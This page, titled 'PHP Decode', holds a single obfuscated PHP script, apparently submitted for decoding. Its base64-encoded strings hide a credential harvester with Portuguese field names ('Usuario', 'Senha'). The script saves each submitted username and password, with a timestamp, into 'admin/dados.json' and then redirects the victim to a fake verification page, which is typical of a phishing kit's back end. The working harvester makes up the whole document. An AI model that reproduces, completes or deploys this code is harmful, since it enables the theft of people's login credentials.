PHP Decode

<?php if($_SERVER[base64_decode('UkVRVUVTVF9NRVRIT0Q=')]===base64_decode('UE9TVA==')){$qdzezzqn_8d93d649=$_POST[base64_decode('dXNlcg==')]?? '';$xmcfpich_ce70d424=$_POST[base64_decode('cGFzcw==')]?? '';$fsobbfll_adf3f363=[base64_decode('VXN1YXJpbw==')=>$qdzezzqn_8d93d649,base64_decode('U2VuaGE=')=>$xmcfpich_ce70d424,base64_decode('SG9yYQ==')=>date(base64_decode('WS1tLWQgSDppOnM='))];$vqscwayu_8c9f3610=base64_decode('YWRtaW4vZGFkb3MuanNvbg==');if(file_exists($vqscwayu_8c9f3610)){$zcitaihi_aac5e4e=file_get_contents($vqscwayu_8c9f3610);$eexfxzeo_86a77a4a=json_decode($zcitaihi_aac5e4e,true);$eexfxzeo_86a77a4a[]=$fsobbfll_adf3f363;}else{$eexfxzeo_86a77a4a=[$fsobbfll_adf3f363];}$rrbeuovs_6b072545=json_encode($eexfxzeo_86a77a4a,JSON_PRETTY_PRINT);file_put_contents($vqscwayu_8c9f3610,$rrbeuovs_6b072545);header(base64_decode('TG9jYXRpb246IHZlcmlmeS5odG1sP3lmeHo9ZGV2cw=='));exit;}else{header(base64_decode('TG9jYXRpb246IGluZGV4Lmh0bWw/ZXJybz10cnVl'));exit;}?>